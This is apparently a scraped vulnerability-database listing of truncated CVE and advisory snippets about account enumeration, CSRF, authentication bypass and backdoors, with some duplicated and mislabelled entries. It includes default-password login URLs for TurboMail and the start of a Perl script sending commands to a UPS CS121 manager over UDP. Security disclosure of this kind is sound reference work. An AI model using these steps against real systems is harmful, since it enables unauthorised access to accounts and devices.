openSUSE Security Update : gnome-online-accounts (openSUSE-SU-2013:0301-1)

gnome-online-accounts was updated to do SSL certicicate checking when creating accounts, avoiding man-in-the-middle attack possibilities. CVE-2013--240 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security...

CVE-2013-5760

QNAP Photo Station before firmware 4.0.3 build0912 allows remote attackers to list OS user accounts via a request to photo/p/api/list.php...

Cross site request forgery (csrf)

QNAP Photo Station before firmware 4.0.3 build0912 allows remote attackers to list OS user accounts via a request to photo/p/api/list.php...

CVE-2013-5760

QNAP Photo Station before firmware 4.0.3 build0912 allows remote attackers to list OS user accounts via a request to photo/p/api/list.php...

CVE-2013-5760

CVE-2013-5760 affects QNAP Photo Station prior to firmware 4.0.3 build0912, where an request to photo/p/api/list.php allows remote attackers to enumerate OS user accounts. The description in the public records specifies an information-disclosure vulnerability (partial confidentiality) without det...

Improper access control

The web framework in VOSS in Cisco Unified Communications Domain Manager CDM does not properly implement access control, which allows remote attackers to enumerate accounts by visiting an unspecified BVSMWeb web page, aka Bug IDs CSCun39619 and CSCun45572...

TurboMail 弱密码漏洞

TurboMail邮箱系统安装后 默认会有4个root域的账号，管理员及三个普通账号：postmaster管理员nobodysecbmsecsj默认密码为空漏洞利用过程http://xxx.com/mailmain?type=login&uid=secbm&pwd=&domain=root&style=enterprisehttp://xxx.com/mailmain?type=login&uid= postmaster&pwd=&domain=root&style=enterprisehttp://xxx.com/mailmain?type=login&uid=...

Direct Object Reference - User Information Disclosure

A direct object reference vulnerability exists on the answers.atlassian.com platform which allows for malicious users to obtain the email address of any given ID. Additionally since the ID's are incremental, it would be possible for an attacker to gain the email addresses of every single Atlassia...

CoSoSys Endpoint Protector 4 SQL Injection / Backdoor

CoSoSys Endpoint Protector 4 suffers from remote SQL injection, unauthenticated access, information disclosure, and backdoor vulnerabilities. title: Multiple vulnerabilities product: CoSoSys Endpoint Protector 4 vulnerable version: all - except issue 1 fixed version: none - except issue 1 impact:...

Cross site request forgery (csrf)

Cross-site request forgery CSRF vulnerability in usersmaint.html in KrisonAV CMS before 3.0.2 allows remote attackers to hijack the authentication of administrators for requests that create user accounts via a crafted request...

CoSoSys Endpoint Protector 4 SQL Injection / Backdoor

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SEC Consult Vulnerability Lab Security Advisory ======================================================================= title: Multiple vulnerabilities product: CoSoSys Endpoint Protector 4 vulnerable version: all - except issue 1 fixed version: none ...

eBay Hacked, Change your Account Password Now

If you have an eBay Account then you should change your password immediately, because the World's biggest E-commerce company with 128 million active users announced today in a press release that it had been Hacked. eBay revealed that attackers compromised customers' database including emails,...

CVE-2014-1347

Apple iTunes before 11.2.1 on OS X sets world-writable permissions for /Users and /Users/Shared during reboots, which allows local users to modify files, and consequently obtain access to arbitrary user accounts, via standard filesystem operations...

Code injection

Apple iTunes before 11.2.1 on OS X sets world-writable permissions for /Users and /Users/Shared during reboots, which allows local users to modify files, and consequently obtain access to arbitrary user accounts, via standard filesystem operations...

CVE-2014-1347

Apple iTunes before 11.2.1 on OS X sets world-writable permissions for /Users and /Users/Shared during reboots, which allows local users to modify files, and consequently obtain access to arbitrary user accounts, via standard filesystem operations...

UPS Web/SNMP-Manager CS121 Login Bypass

!/usr/bin/perl -w use IO::Socket; use constant MAXBYTES = scalar 1024; $socket = IO::Socket::INET-new PeerPort = 4000, PeerAddr = $ARGV0, Type = SOCKDGRAM, Proto = 'udp'; $socket-send""; $socket-recv$inline, MAXBYTES; print "UPS: $inline \n"; $socket-send"show syspar"; $socket-recv$inline,...

UPS WebSNMP-Manager CS121 - Authentication Bypass

UPS WebSNMP-Manager CS121 - Authentication Bypass source: https://www.securityfocus.com/bid/67438/info UPS Web/SNMP-Manager CS121 is prone to an authentication-bypass vulnerability. Attackers can exploit this issue to bypass authentication mechanism and gain access to the HTTPs, SNMP or Telnet po...

CVE-2013-4471

The Identity v3 API in OpenStack Dashboard Horizon before 2013.2 does not require the current password when changing passwords for user accounts, which makes it easier for remote attackers to change a user password by leveraging the authentication token for that user...

CVE-2014-2989

Cross-site request forgery CSRF vulnerability in Open Assessment Technologies TAO 2.5.6 allows remote attackers to hijack the authentication of administrators for requests that create administrative accounts via a request to Users/add...

Cross site request forgery (csrf)

Cross-site request forgery CSRF vulnerability in Open Assessment Technologies TAO 2.5.6 allows remote attackers to hijack the authentication of administrators for requests that create administrative accounts via a request to Users/add...